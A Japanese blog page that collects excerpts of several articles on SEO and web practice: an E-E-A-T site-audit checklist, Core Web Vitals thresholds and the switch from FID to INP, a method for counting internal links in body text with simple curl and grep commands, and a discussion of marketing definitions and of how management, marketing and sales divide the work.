被リンクや知名度で積み上げるAuthoritativenessは時間がかかりますが、Experience（実際にやった記録）は今日から作れます。自分で試した手順、詰まった箇所、計測した数値——これらは大手メディアが量産できない情報であり、そのままTrustに変換されます。 Web制作者が「実装」で担保できる範囲 E-E-A-Tの議論は「良い記事を書こう」で終わりがちですが、Web制作者の側には、コンテンツの中身に踏み込まずに担保できる領域があります。ここが実務での主戦場です。 著者を「同定できる」状態にする 署名が「編集部」だけのサイトは珍しくありませんが、これは誰が書いたのかを追えない状態です。最低限、次を満たしてください。 記事に著者名が表示されている 著者名からプロフィールページへ遷移できる プロフィールに経歴・実績・専門領域が書かれている SNSや外部の実績ページなど、サイト外で同一人物を確認できる導線がある 4つ目が抜けているサイトが多いです。サイト内で「専門家です」と自称するだけでは、第三者からの裏づけになりません。外部で確認できる情報とつながっていて初めて、権威性が信頼性に変換されます。 運営者情報への到達性を確保する 「誰が運営しているか分からないサイト」は、内容がどれだけ正確でも信頼を得にくくなります。運営者情報・問い合わせ手段・プライバシーポリシーは、どのページからも1クリックで到達できる位置に置いてください。 置いてあるだけで満足せず、フッターのリンクが実際に生きているかを確認してください。リニューアル時にリンク切れのまま放置されている例は非常に多く、これは信頼性を直接損ないます。 更新日と出典を、記事の外形として持たせる 情報の鮮度と根拠は、読者にとってもクローラーにとっても判断材料になります。テンプレート側で仕組みとして持たせるべきなのは次の2つです。 公開日と更新日を分けて表示する：更新していないのに日付だけ新しくする運用は、かえって信頼を損なうので避ける 出典リンクを本文中に置ける書式を用意する：数値や主張の直後に一次情報へのリンクを置けるようにしておく 見出し構造やメタ情報の整え方は、h1〜h6見出しタグの正しい使い方とmeta descriptionの書き方ガイドに分けてまとめてあります。 著者・運営者を機械可読にする 人間が読めば分かる著者情報も、構造化データで記述しなければ機械にとっては単なるテキストです。PersonやOrganizationで著者と運営者を明示し、記事と著者を関連づけておくと、検索エンジンや生成AIが「誰が書いたか」を正確に解釈できます。 AI検索での引用を狙う場合、この機械可読性がそのまま効いてきます。考え方の整理はAIO・AEO・GEO・LLMOの違いとSEO・AEO・GEOの役割と設計戦略を参照してください。 なお、自サイトに合わせた具体的な構造化データのコードはDirebase（ディレベース）の有料プランで自動生成・確認できます。手書きで組むより早く、記述漏れも防げます。 【検証】自分のサイトを外形監査する手順 E-E-A-Tは点数化できませんが、「外形として満たしているか」は機械的に判定できます。5分で終わるので、自分のサイトで実際にやってみてください。 監査の手順と合否ライン 記事を1本、シークレットウィンドウで開く。合否＝スクロールせずに著者名が見えること 著者名をクリックする。合否＝経歴と専門領域が書かれたプロフィールページに遷移すること（リンクになっていなければ不合格） 著者名でGoogle検索する。合否＝自サイト以外に、同一人物だと分かる情報が1件以上あること フッターの運営者情報・問い合わせ・ポリシーを順にクリックする。合否＝3つとも1クリックで開き、404にならないこと 記事内の数値や断定的な主張を3つ選ぶ。合否＝そのうち2つ以上に出典リンクが付いていること 構造化データを診断ツールにかける。合否＝著者（Person）と運営者（Organization）が検出されること 不合格だった項目の直し方 不合格の項目実際に起きていること次の一手著者名が見えない記事テンプレートに著者欄がないテンプレートに著者バイラインを追加する著者名がリンクでないプロフィールページが存在しない著者ページを1枚作り、経歴と専門領域を書く検索して外部情報が出ないサイト外に足跡がないSNSや外部媒体での発信を始め、プロフィールから相互にリンクするフッターのリンクが404リニューアル時の張り替え漏れリンク切れを修正する。信頼性の毀損が最も大きい項目出典リンクがない数値の根拠が本文にない一次情報を探し直し、見つからない数値は本文から削る構造化データが検出されないPerson/Organizationが未実装著者と運営者の構造化データを追加する 優先順位に迷ったら4番目（リンク切れ）から直してください。運営者情報にたどり着けないサイトは、他をどれだけ整えてもTrustの土台が崩れます。 構造化データとメタ情報の実装状況はDirebase（ディレベース）で診断できます YMYLでは求められる水準が変わる YMYL（Your Money or Your Life）は、お金・健康・安全など誤情報が人の生活に直接的な損害を与えうる領域を指します。この領域では、求められるE-E-A-Tの水準が上がります。 ここで実務的に重要なのは、自分の扱うテーマがYMYLに当たるかどうかを先に判断することです。Web制作やCSSの解説はYMYLではないので、資格の有無を過度に気にする必要はありません。一方で、税務・投資・医療・法律に踏み込むなら、専門家の監修を入れるか、そもそも扱わない判断が必要になります。 自分のテーマがYMYLかを判定する 判定の軸は「その情報を間違えたとき、読者にどんな不利益が生じるか」です。代表的な領域を整理します。 領域具体例YMYL該当健康・医療症状、治療法、薬、サプリメント該当金融投資、保険、ローン、税務該当法律契約、相続、労働問題該当安全災害対応、事故防止該当技術解説CSS、WordPress、サーバー構築非該当制作・デザインツールの使い方、デザイン理論非該当 境界が曖昧なのは「稼ぐ系」の情報です。フリーランスの単価や案件獲得を扱う記事は、読者の収入に影響しうるため金融寄りの慎重さが要ります。断定を避け、自分の実測値であることを明示してください。 「E-E-A-Tが足りないから順位が上がらない」と悩んでいるサイトの多くは、実はYMYLではない領域で過剰に権威性を気にしています。非YMYLなら、経験（Experience）の厚みで十分に戦えます。 よくある3つの誤解 相談を受けるなかで繰り返し出てくる誤解を挙げます。 誤解1｜E-E-A-T対策をすれば順位が上がる 前述のとおり、E-E-A-T自体はランキング要因ではありません。「E-E-A-Tを整えたのに順位が動かない」は当然に起こります。順位が動かない原因は、検索意図とのズレ、競合の強さ、技術的な問題など別のところにあることがほとんどです。E-E-A-Tは品質の下限を守るためのものであって、順位を押し上げるレバーではないと割り切ってください。 誤解2｜資格がなければ専門性は示せない Expertiseは資格の有無だけで決まるものではありません。 ### [Core Web Vitals改善ガイド｜LCP・INP・CLSを最適化する2026年版チェックリスト](https://codequest.work/core-web-vitals-optimization/) Core Web Vitalsとは、Googleが定めるユーザー体験を測る3つの指標（LCP・INP・CLS）の総称で、検索順位に影響するページ品質シグナルです。本記事では2026年時点の3指標の定義、目標値、改善優先順位、それぞれの本質と改善アプローチを「指標起点」で体系的に整理します。具体的な実装コードや計測ツールの使い方は深掘りせず、概念の理解と判断軸の獲得にフォーカスする構成です。 結論を先に述べると、Core Web Vitals改善の鍵は「3指標のうち赤い指標から、フィールドデータ（実ユーザーデータ）を基準に着手すること」に集約されます。スコア100点を目指すよりも、Googleが定める「Good」基準を75パーセンタイルで満たすことが評価軸であり、計測の正確さと改善優先度の判断が成否を分けます。なお2024年3月12日にFIDがINPへ正式置換されているため、旧情報のFID表記はすべて読み替えが必要です。 具体的な実装コード（Critical CSS・preload・fetchpriority・scheduler.yield等）は ページ速度改善の実装ガイド へ PageSpeed Insightsスコアの読み方・改善実務は PageSpeed Insights表示速度改善 へ ファーストビューの構成・CVR最適化は ファーストビュー改善ガイド へ Core Web Vitalsとは何か｜指標起点の入口 Core Web Vitalsとは、Googleが定めるユーザー体験を測る3つの指標（LCP・INP・CLS）の総称で、検索順位に影響するページ品質シグナルです。2020年に発表され、2021年6月からモバイル検索、2022年2月からPC検索でランキング要因として組み込まれています。読み込み速度（Loading）、応答性（Interactivity）、視覚的安定性（Visual Stability）という3つの異なる側面を、それぞれ独立した数値で評価する点が特徴です。 Googleが定義する「ユーザー体験を測る3指標」 web.dev公式（Google）の「Web Vitals」ドキュメントによると、Core Web Vitalsは「すべてのWebページで重要なUXシグナルの中核となるサブセット」と位置づけられています。Webパフォーマンス全般を測る指標（FCPやTBTなど）の中から、ユーザー体験への影響が特に大きく、改善によってビジネス成果に直結しやすい3つが選定されました。逆に言えば、これら3指標を改善することは、ユーザーの体感品質を改善することと同義です。 3指標は「ユーザーがページを訪れてから操作するまでの体験」を時系列で分割しています。表示が始まるまでの待ち時間（LCP）、操作したときの反応の速さ（INP）、表示中の予期せぬズレ（CLS）という形で、ページ体験の異なる側面を漏らさずカバーする設計になっています。 2026年現在の3指標：LCP・INP・CLS 2026年現在のCore Web Vitalsを構成する3指標は次の通りです。LCP（Largest Contentful Paint：最大コンテンツの描画時間）、INP（Interaction to Next Paint：次のペイントまでの応答時間）、CLS（Cumulative Layout Shift：累積レイアウトシフト）。それぞれが異なる単位（秒・ミリ秒・無次元スコア）で測られ、3指標すべてが「Good」基準を満たすことが目標になります。 指標正式名称測定するもの単位LCPLargest Contentful Paintビューポート内で最大のコンテンツが描画される時間秒INPInteraction to Next Paintページ滞在中の全インタラクションの応答時間（最遅値）ミリ秒CLSCumulative Layout Shiftページの全ライフサイクルで起きたレイアウトシフトのうち最大セッションウィンドウのスコア無次元スコア なぜCore Web Vitalsが検索順位に影響するのか Google検索セントラル公式「ページ エクスペリエンスについて」は2つの文で言い切っています。1つは「単一のシグナルは存在しない（There is no single signal）」。ページエクスペリエンスという1本のスコアは存在せず、Search Consoleのページエクスペリエンスレポートも現在は提供されていません。もう1つは「Core Web Vitalsは当社のランキングシステムで使用されている」。ただし同ページは「レポートや第三者ツールで良い結果が出ても、上位表示が保証されるわけではない」とも明記します。評価には使われるが、それだけで順位は決まらない——これが公式の位置づけです。SEO施策全体の中での置き所はSEOガイドで整理しています。 もう一つ重要なのは、Googleが評価に使うデータは「実ユーザーの体験データ（フィールドデータ）」のみという点です。開発環境でのスコア改善はあくまで参考であり、Chrome User Experience Report（CrUX）に蓄積される実データを動かさない限り、ランキング評価には反映されません。この点が他のSEO施策との大きな違いです。 FIDからINPへの移行｜2024年3月の変更点 FIDは2024年3月12日にINPへ正式に置き換わりました。INPはページ滞在中の全インタラクションの応答時間を測定する指標です。2024年以前に公開された解説記事や書籍ではFIDが現役指標として説明されていますが、現在のCore Web VitalsにFIDは含まれていません。古い情報を参照する際は必ずINPへの読み替えが必要です。 なぜFIDは廃止されたのか FID（First Input Delay：初回入力遅延）は「ユーザーが最初に操作したときの入力イベント受付までの遅延」のみを測定する指標でした。Chromeチームの公式アナウンス（web.dev Blog・2024年3月12日）は、「FIDでは捉えられていなかったWebのインタラクティブ性の側面を測るため、新しい指標が必要になった」と述べています。FIDが測っていたのはページ滞在中の最初のインタラクションだけで、しかも入力イベントの受付までの遅延のみ。その後の処理時間や描画時間は評価対象外でした。たとえばクリックは即座に受け付けても、その後の処理で数秒画面がフリーズすればユーザーは「遅い」と感じますが、FIDではこれを捉えられませんでした。 INPは何が違うのか｜全インタラクションの最遅値 INPはFIDの限界を補うように設計されました。第1にページ滞在中のすべてのインタラクション（クリック・タップ・キー入力）を計測対象にします。第2に入力受付からプレゼンテーション処理（次のペイント）までの全工程を含めて測ります。第3に1ページ滞在中で最も遅かったインタラクションを代表値にします。web.dev公式「Interaction to Next Paint (INP)」によれば、外れ値の除外が働くのはインタラクションが50回を超えるページだけで、50回につき1件だけ最遅値を捨てます。大半のページは50回に届かないため、実際には「最も遅かった1回」がそのままINPです。これにより、FIDでは見えなかった「動作中のフリーズ」「重い処理によるカクつき」がスコアに表れるようになりました。 観点FID（旧）INP（現）計測対象最初の入力イベントのみ滞在中の全インタラクション計測範囲入力受付までの遅延のみ入力→処理→次の描画まで全工程代表値1ページ滞在中の最初の値1ページ滞在中の最遅値（50回超のインタラクションがある場合のみ外れ値を除外）Good基準100ms以下200ms以下 旧記事・旧情報でFIDを見たときの読み替え方 2024年3月以前の解説でFIDが現役指標として語られている場合、基本的にINPへ読み替えて構いません。ただし基準値はFIDの100ms以下からINPの200ms以下へ変わっており、しかもINPは全インタラクションの応答時間を測るため、FID時代の「メインスレッドのブロックを避ければよい」という対策のままでは足りません。 3指標の目標値とGood/Needs Improvement/Poor基準 2026年現在のCore Web Vitalsの目標値は、LCPが2.5秒以下、INPが200ms以下、CLSが0.1以下です。Googleは各指標を「Good」「Needs Improvement」「Poor」の3段階で評価し、すべての指標で「Good」を満たすことを推奨しています。閾値はweb.dev公式「Web Vitals」で公開されている標準値で、PageSpeed InsightsやSearch ConsoleもこのGood基準で判定を行います。 3指標の閾値一覧 指標GoodNeeds ImprovementPoor測定対象LCP2.5秒以下2.5〜4.0秒4.0秒超最大コンテンツの描画INP200ms以下200〜500ms500ms超全インタラクションの応答CLS0.1以下0.1〜0.250.25超視覚的な不安定さ これらの閾値はweb.dev公式「Defining the Core Web Vitals metrics thresholds」で根拠まで公開されています。閾値は不変ではなく、Web全体の高速化に応じて将来引き締められる可能性があります。実際FIDからINPへの置換も「より厳しい応答性評価」への移行であり、ユーザー期待の高度化に合わせて基準は進化し続けます。 「75パーセンタイル基準」とは何か Googleが評価で用いるのは「実ユーザーの体験値の75パーセンタイル」です。web.dev公式は「ページやサイトの総合的なパフォーマンスを分類するために、全ページビューの75パーセンタイル値を用いる。ページビューの少なくとも75%がGoodのしきい値を満たしていれば、その指標は『Good』と分類される」と説明しています。集計期間はCrUX公式ドキュメントの通り直近28日間です。一部の高速端末ユーザーだけが満たしていてもダメで、モバイルの平均的なユーザー層まで含めて閾値を満たす必要があるため、施策はモバイル基準で進めるのが現実的です。 改善の優先順位｜どの指標から手をつけるか 3指標を同時に改善するのが理想ですが、実務では着手順を決めないと工数が分散します。最初に押さえるべき原則は「赤い指標（Poor判定）から潰す」「フィールドデータを基準にする」「モバイルとPCを分けて評価する」の3つです。スコア値の小さい改善より、Poor判定をNeeds Improvementへ、さらにGoodへ引き上げる方が、評価面でもユーザー体験面でも投資対効果が圧倒的に高くなります。 「赤い指標」を最優先する基本原則 PageSpeed InsightsやSearch ConsoleのCore Web Vitalsレポートでは、各指標が赤（Poor）・黄（Needs Improvement）・緑（Good）の3色で示されます。赤判定の指標が1つでもあれば、そのページはCore Web Vitals全体として不合格扱いです。黄を緑に上げる労力と赤を黄に上げる労力では評価への影響度が桁違いなので、最初の一手は必ず「赤い指標から」と覚えてください。 モバイルとPCで分けて見る理由 Googleの評価はモバイル・PCで別々に行われます。Search Consoleでも「Core Web Vitals - モバイル」「Core Web Vitals - PC」が分かれて表示されるのはこのためです。一般にモバイルの方がスコアが悪く、改善余地も大きい傾向があります。 ### [関連記事ウィジェットは内部SEOではない｜本文内部リンクの棚卸し手順](https://codequest.work/webwriter-director-spiral/) 内部リンクの棚卸しとは、グローバルナビ・パンくず・関連記事ウィジェットのようなテンプレート由来のリンクを除外したうえで、各ページが「本文の中から」何本リンクされているかを数える作業です。目的は本数を増やすことではなく、1本も張られていない孤立ページと、同じ集団の内側だけでリンクが循環しているリンクの島を見つけることにあります。 この作業が抜け落ちる理由ははっきりしています。多くの現場で「関連記事ウィジェットを入れてある」＝「内部リンクは対応済み」として処理されているからです。ウィジェットはリンクとして機能はします。ただし、どのページからどのページへ張るかとアンカーテキストに何と書くかだけは、置いた本人にも制御できません。 この記事では、Google公式が実際に書いていることだけを根拠に判定基準を組み立て、Python標準ライブラリだけで動く走査スクリプトと合否ラインを示します。あわせて、この手順を筆者自身のサイト（363記事）に実際に回した結果も開示します。結果は、本文由来の被リンクが0本の記事が40本、そしていま読んでいるこのページ自身が、被リンク6本を持ちながら90日間の検索表示0でした。 関連記事ウィジェットを置くことは、内部リンク設計ではない 先に、よくある言い方をひとつ否定しておきます。「関連記事ウィジェットにSEO効果はない」という説明は不正確です。ウィジェットが出力するのも通常の <a href> であり、クローラはそこを辿ります。問題は効果の有無ではなく、制御できる範囲がどこまでかにあります。 ウィジェットが効く部分と、制御できない部分 Googleは「リンクは発見経路である」と明言しています。SEOスターターガイドには “In fact, the vast majority of the new pages Google finds every day are through links”（Googleが毎日見つける新規ページの大半はリンク経由である）とあります。ウィジェットのリンクもこの「リンク」に含まれるため、発見経路としては確かに機能します。 一方、アンカーテキストについてGoogleは条件を示しています。“Good anchor text is descriptive, reasonably concise, and relevant to the page that it's on and to the page it links to.”（良いアンカーテキストとは、説明的で、適度に簡潔で、そのリンクが置かれているページとリンク先ページの両方に関連しているもの）。悪い例として Bad (too generic)（「詳しくはこちら」「続きを読む」）と Bad (weirdly long)（1文まるごとをリンクにしたもの）の2種類が挙げられています。 自動ウィジェットの出力は、ほぼ必ずこの2つの悪い例のどちらかに落ちます。記事タイトルをそのまま出せば「長すぎる」側に、「関連記事」「あわせて読みたい」だけを出せば「一般的すぎる」側に寄るためです。整理すると次のようになります。 観点関連記事ウィジェット本文中に手で張るリンククローラが辿るか辿る辿るリンク先の選定タグ・カテゴリ・投稿日などの機械的条件書き手が文脈で選ぶアンカーテキスト記事タイトル固定、または「関連記事」固定リンク先を説明する語を自由に書けるどのページに何本集まるか誰も把握していない意図して集められる孤立ページの解消条件に合わなければ永久に張られない個別に指定して解消できる つまりウィジェットは「リンクを増やす装置」ではあっても、「どこに集めるかを決める装置」ではありません。この違いを埋めるのが棚卸しです。 「評価基準を持たない」とは、具体的に何が起きることか ウィジェットを入れた時点で、進行管理上は「内部リンク対応済み」というステータスが立ちます。ここで止まる原因は知識不足というより、合否ラインが存在しないことにあります。「何本あればよいのか」「どのページが足りていないのか」を数字で言えない限り、対応済みという報告を誰も反証できません。 これはWeb業界に固有の話ではありません。自動車業界でも保険代理店業でも、肩書きだけで役割を担う人が増えると全体の成長が止まる、という同じ構図を見てきました。共通しているのは、評価する側が「何をもって合格とするか」を数字で持っていないことです。逆に言えば、合否ラインさえ数字で置ければ、実装経験の有無にかかわらず判定はできます。制作側を評価する立場の線引きそのものについては制作スキルの有無で分けるディレクションとディレクターの違いで扱っています。 内部リンクの棚卸しとは何か 棚卸しで測るのは2つだけです。①各URLが本文中から何本リンクされているか（本文由来の被リンク数）と、②そのリンク元が何種類の集団に散っているか。この2つ以外は見ません。 Googleが実際に言っていること／言っていないこと 内部リンクの話には、公式にどこにも書かれていない前提が数多く混ざっています。判定基準を作る前に、公式の記述だけを切り出しておきます。 現場でよく言われることGoogle公式の記述出典内部リンクは何本以上必要“There's no magical ideal number of links a given page should contain.”（1ページが含むべきリンクの理想的な数というものは存在しない）Make your links crawlable（本数について公式が唯一断言している箇所）“Every page you care about should have a link from at least one other page on your site.”（大切にしているページはすべて、サイト内の他のページから最低1本のリンクを受けているべき）Make your links crawlable記事数を増やせばサイト全体が強くなる“The length of the content alone doesn't matter for ranking purposes”（コンテンツの長さ自体は順位に関係しない）／多トピックでの量産は品質の警告サインとして列挙SEO Starter Guide／Creating helpful content見出し階層を正しくしないと検索に反映されない“from Google Search perspective, it doesn't matter if you're using them out of order”（Google検索の観点では順序どおりでなくても問題にならない）。同時に “fantastic for screen readers”（スクリーンリーダーには非常に有効）とも書かれているSEO Starter Guide内部リンクを張り巡らせればサイト全体の評価が上がる該当する記述なし。近い文言は “link to those pages in context”（文脈の中でそれらのページへリンクする）までMake your links crawlable ここから引き出せる結論は明快です。本数の正解は公式には存在しない。ただし「0本」だけは、公式が明示的に外れていると言える唯一の状態です。だから棚卸しの一次的な出力は「何本あるか」ではなく「0本のURLはどれか」になります。 なお、見出し階層を整える理由はアクセシビリティと可読性であって順位施策ではありません。ここを取り違えると、順位が動かないときに見出しを触り続けることになります。 なぜテンプレート由来のリンクを外すのか テンプレート由来のリンクを数に入れると、判定そのものが死にます。グローバルナビは全ページに同じリンクを出すため、ナビに載っているURLは自動的に「被リンク数＝全ページ数」になり、載っていないURLとの差が極端に開くだけで、記事同士のつながりの有無が一切見えなくなります。 除外すべきなのは次の6種類です。いずれも「書き手が意図して張ったのではないリンク」という一点で共通します。 グローバルナビ・ドロワーメニュー パンくずリスト 前の記事／次の記事ナビ 関連記事ウィジェット・人気記事ランキング サイドバー（カテゴリ一覧・最近の投稿など） フッター 6種類を個別に除外する必要はありません。本文コンテナの内側にある <a href> だけを見るという1つのルールで、6種類とも自動的に外れます。この判定は、どのページにどの記事を配置するかという上流の設計とは別レイヤーの作業です。上流側はページ洗い出しから階層を組み立てるサイト構造の設計手順にまとめています。 本文由来の被リンクを数える手順 必要なのは Python 3 だけです。外部ライブラリもクローリングツールの契約も要りません。手順は3つに分かれます。 手順1｜sitemapから母集団を作る 母集団はsitemapから作ります。sitemapは「自分が検索に出したいと宣言したURLの集合」であり、棚卸しの対象範囲としてこれ以上に妥当なものがないためです。まず自分のsitemapの形を確認します。 # WordPress標準は /wp-sitemap.xml、Yoast等のプラグイン利用時は /sitemap_index.xml curl -sSL https://example.com/sitemap.xml | grep -o '<loc>[^<]*</loc>' | wc -l 返ってきた数が数件しかない場合、それはsitemapインデックス（子sitemapの一覧）です。WordPress標準では投稿・固定ページ・カテゴリ・タグ・著者などが子sitemapに分かれているため、走査対象は投稿と固定ページの子sitemapに絞ります。カテゴリやタグのアーカイブは本文を持たないので、被リンクを数える対象には向きません。 この段階でURL表記が揺れていると、同じページが2行に割れて集計が壊れます。www の有無・末尾スラッシュの有無・パラメータ付きURLが混在していないかを先に確認してください。URLの決め方そのものに不安がある場合はSEO観点で失敗しないURL設計・ディレクトリ構造の決め方を先に読むほうが早いはずです。 手順2｜本文コンテナのclass名を特定する 次に、本文全体を囲んでいる要素のclass名を調べます。ブラウザで記事を開き、本文の任意の場所を右クリックして「検証」を選び、本文全体を包んでいる div のclassを読み取ります。コマンドで候補を洗い出すこともできます。 curl -sSL https://example.com/記事のURL/ | grep -o 'class="[^"]*content[^"]*"' | sort -u 候補は複数返ります。実際にこのサイトで実行すると footer-content / main-contents / mobile-drawer-content / post-content / site-content の5つが出ました。この中から選ぶ基準は「その要素の直後に本文の最初の見出しが来るか」です。ここでは post-content が該当します。WordPressの一般的なテーマでは entry-content であることが多く、テーマによって名前は変わります。 注意点が2つあります。1つ目は、正規表現で本文コンテナを切り出そうとしないことです。本文の中には div が入れ子で何層も入っており、最初に見つかった </div> で切ると本文が途中で切れます。HTMLパーサで開始タグと終了タグの深さを数える方法をとります。 2つ目は、同じclass名がページ内の別の場所でも使われていることがあるという点です。 ### [本当のマーケティングとは？経営・営業との役割分担と販路設計](https://codequest.work/true-marketing-series-summary/) 本当のマーケティングとは、商品を売る行為そのものではなく、顧客が実際にいる場所を見極め、そこへ価値を届ける経路を設計することです。広告やSNSの運用は、その経路を動かすための手段の一つにすぎません。 ただし、この一文だけを掲げても「公的な定義とどう違うのか」「経営や営業とはどこで線が引かれるのか」が分かりません。定義が本来は広いのに、実務では狭く扱われる。その理由を説明せずに「マーケティングとは販路の設計だ」と言い切れば、ただの持論になります。 この記事では、公益社団法人日本マーケティング協会と American Marketing Association の定義を出発点に、実務でマーケティングの担当領域が狭くなる理由を役割分担から説明します。そのうえで、自分の会社や担当案件で「経営・マーケティング・営業のどの機能が欠けているか」を15分で棚卸しする手順を置きました。判定の結果から、次に読むべき1本が決まります。 本当のマーケティングとは何か 「マーケティングとは何か」には、業界団体が定めた公的な定義があります。まずそれを確認し、そのうえで実務での担当領域が狭くなる理由を分けて考えます。定義が間違っているのではなく、役割分担の結果として狭くなる、という順番で理解するのが正確です。 公的な定義はどこまでを含むか 公益社団法人日本マーケティング協会（JMA）は、2024年1月25日に、34年ぶりとなるマーケティングの定義の刷新を発表しました。制定された定義は次のとおりです。 （マーケティングとは）顧客や社会と共に価値を創造し、その価値を広く浸透させることによって、ステークホルダーとの関係性を醸成し、より豊かで持続可能な社会を実現するための構想でありプロセスである。 この定義には3つの注が付いています。主体は企業だけでなく個人や非営利組織もなり得ること、関係性の醸成には新たな価値創造のプロセスも含まれること、構想には戦略・仕組み・活動が含まれることです。つまり、商品をつくる側の活動も定義の内側にあります（出典：公益社団法人日本マーケティング協会「34年振りにマーケティングの定義を刷新」2024年1月25日／公式ページ・2026年8月2日取得）。 英語圏の定義も同じく広い範囲を指しています。American Marketing Association（AMA）は、マーケティングを「顧客・クライアント・パートナー・社会全体にとって価値のある提供物を、創造し、伝達し、届け、交換するための活動・制度・プロセス」と定義しています。 Marketing is the activity, set of institutions, and processes for creating, communicating, delivering, and exchanging offerings that have value for customers, clients, partners, and society at large. AMAはこの定義を、現役の研究者5名からなるパネルが定期的に見直し、再承認または修正すると明記しています。つまり固定された条文ではなく、更新され続ける現行版です（出典：American Marketing Association "Definitions of Marketing"／公式ページ・2026年8月2日取得）。 両方に共通しているのは、マーケティングが「広告」や「SNS運用」より圧倒的に広い概念として定義されている点です。価値をつくることも、届けることも、交換することも、定義の内側に入っています。 なぜ実務では「販路の設計」に収斂するのか 定義が広いのに、実務のマーケティング担当者が扱える範囲は狭い。この落差は、定義が間違っているからではありません。組織の中で仕事が分けられているからです。 定義に含まれる「価値の創造」は、商品やサービスの中身と価格を決める行為です。中小規模の事業では、これは経営の判断です。マーケティング担当者が独断で商品仕様や価格を変えることはできません。同じく「交換」、つまり最終的に契約や購入を成立させる行為は、営業の担当です。 広い定義から、経営が持っている部分と営業が持っている部分を差し引くと、マーケティングに実務上残るのは「価値の伝達と提供」、すなわち顧客と出会う場所を選び、そこから購入までの経路を組み立てることです。この記事ではこれを「販路の設計」と呼びます。 したがって「マーケティングとは販路の設計である」は、公的定義への反論ではありません。定義の全体像を前提にしたうえで、役割分担を差し引いた結果として出てくる実務上の担当範囲です。ここを混ぜると、「マーケティングは商品開発まで含むはずだ」という正論と、「現場では販路しか動かせない」という実感が、いつまでもかみ合わなくなります。 この記事で使う3つの言葉 マーケティングの話が噛み合わなくなる原因の多くは、同じものを別の言葉で呼んでいることにあります。この記事では次の3語を定義して使います。関連記事で別の呼び方をしている箇所は、この表で読み替えてください。 この記事の用語定義関連記事での言い換え定義を詳しく扱う記事販路顧客が最初に自社を知る場所と、そこから購入に至るまでの経路チャネル／手法／施策／情報を探す場所販路の記事購買プロセス顧客が「知る → 比べる → 決める」までにたどる順番と、その各段階で必要になる材料人の心／組織の意思決定／感情設計営業の記事役割分担経営が商品力、マーケティングが販路、営業が受注を担当する分け方三位一体／4つの力経営の記事 とくに「販路」と「チャネル」は、日常会話ではほぼ同義で使われます。この記事で販路という語を選んでいるのは、「SNS」「検索」のような手段の名前ではなく、出会う場所から購入までの一続きの経路を指したいからです。手段だけを並べ替えても、経路がつながっていなければ売上は動きません。 経営・マーケティング・営業の役割分担 役割分担は、肩書きの話ではありません。事業を回すために必要な3つの機能が、それぞれ誰かの手で実行されているかどうかの話です。ひとり社長でも、3機能は必要です。担当者がいないのではなく、機能が欠けている状態が問題になります。 機能担当すること出ているかの見方欠けたときに起きること経営商品・サービスの中身と価格を決める（商品力をつくる）直近3か月に、中身か価格を意図をもって変えた記録がある集客できても単価が上がらず、値引き競争になるマーケティング顧客が実際にいる場所を見極め、そこへ届く経路を設計する（販路を最適化する）「顧客が最初に自社を知る場所」を挙げられ、投下先を理由付きで選んでいる良い商品なのに問い合わせが来ない。飛び込みと紹介に依存する営業出会った顧客を受注に変える問い合わせから受注までの手順と担当が決まっている問い合わせは来るのに受注に変わらない 商品力と販路、どちらを先に直すか 「売れない」という相談が来たとき、商品を直すべきか販路を直すべきかで迷います。判断基準は1つで足ります。同じ商品のまま伸びた事例が実在するかどうかです。 同じ商品で伸びた事例がある（他社でも自社の別チャネルでも可）→ 販路が先。商品は当面そのままにする どの販路でも売れた実績がない、または解約・返品の理由が中身に集中している → 商品が先。販路をいじっても戻る 判断材料そのものが無い → まず販路を1つに絞って3か月動かし、材料をつくる 商品力を経営が持ち、販路をマーケティングが持つという分け方は、定義として決まっているものではなく、役割分担の結果としてそう置いているだけです。この記事ではその前提で3機能を分けています。「商品が先」と出たあとに、中身・価格・提供条件のどれを決め直すかは、値引きしないと通らない時の判定にまとめています。 3つの機能が1人に集中しているとき 個人事業や小規模チームでは、3機能が同じ人の中にあります。このとき問題になるのは能力ではなく、どの機能で意思決定しているかを本人が区別していないことです。営業の頭で販路を選ぶと「反応が早いところ」に寄り、経営の頭で販路を選ぶと「コストが低いところ」に寄ります。どちらも顧客がいる場所とは別の基準です。 兼務している場合の実務的な対処は、時間ではなく議題を分けることです。「今日は販路の話しかしない」と決めた30分をつくり、その間は受注見込みや原価の話を持ち込まない。3機能を1人で回すこと自体は珍しくありません。実際、営業とマーケティングと実装をまたいで担当する職種も生まれており、営業とマーケティングと実装を横断する職種で具体的な職務の中身を整理しています。 5つの視点を横断して見えた3つのこと マーケティングを、職務・営業・経営・販路・Web集客という5つの立場から個別に書いてきました。1本ずつ読んでも見えず、並べて初めて見えることが3つあります。ここはこの記事だけが提示できる部分です。 販路を変えて伸びる型に共通するのは「商品を変えていない」こと 販路の切り替えでよく語られる型は3つあります。SNS広告から検索とオウンドメディアへ、SNS経由の法人開拓から展示会出展へ、実店舗中心からECと検索広告へ。この3つを並べると、共通点が1つ浮かびます。どの型も、商品そのものは変えていません。変えたのは顧客と出会う場所だけです。 ここから言えるのは、販路は商品より先に、より速く動かせる変数だということです。商品の改良には設計・調達・検証の時間がかかりますが、出会う場所を変える判断は今日できます。だから「売れない」の原因究明で行き詰まったときは、先に販路を疑うほうが検証が早く回ります。 顧客が情報を探す場所が動いていることは統計でも確認できます。総務省「令和7年版 情報通信白書」によれば、最も利用されているテキスト系ニュースサービス（ポータルサイト・ソーシャルメディア・キュレーションサービスの合計）は、2014年の36.8%から2024年には73.0%へ上昇しました（出典：総務省 令和7年版 情報通信白書「情報収集手段」／公式ページ・2026年8月2日取得）。同白書は買物についても、経済産業省調査を引いて事業者・消費者間のEC市場規模が近年拡大傾向にあり、キャッシュレス決済比率が2024年に42.8%になったと記しています（出典：同白書「買物、決済」／公式ページ・2026年8月2日取得）。 ただし統計は「世の中が動いた」ことしか示しません。自社の顧客が動いたかどうかは自社のデータでしか分かりません。3つの型が、それぞれ何を見て決める話なのかは販路の切り替え先の決め方にまとめています。 広告は販路そのものではなく、販路の起爆装置 関連記事の中には、広告を含む切り替えを成功例として挙げているものと、有料広告を「投資ではなく消費」と否定的に扱っているものの両方があります。矛盾しているように見えますが、条件を足すと両立します。 使える用途：すでに成立している販路の立ち上がりを速くする。露出がゼロの新規商品に最初の反応を集める。季節性のある需要の山に合わせる 使えない用途：広告そのものを土台にする。止めた瞬間に問い合わせが元に戻る状態を「集客できている」と評価する 店舗型の事業でよく候補に挙がるMEOも、同じ見方で扱えます。Googleはローカル検索結果のランキング要素について「主に関連性、距離、知名度に基づいて表示されます」と明記しています（出典：Google ビジネス プロフィール ヘルプ「Google 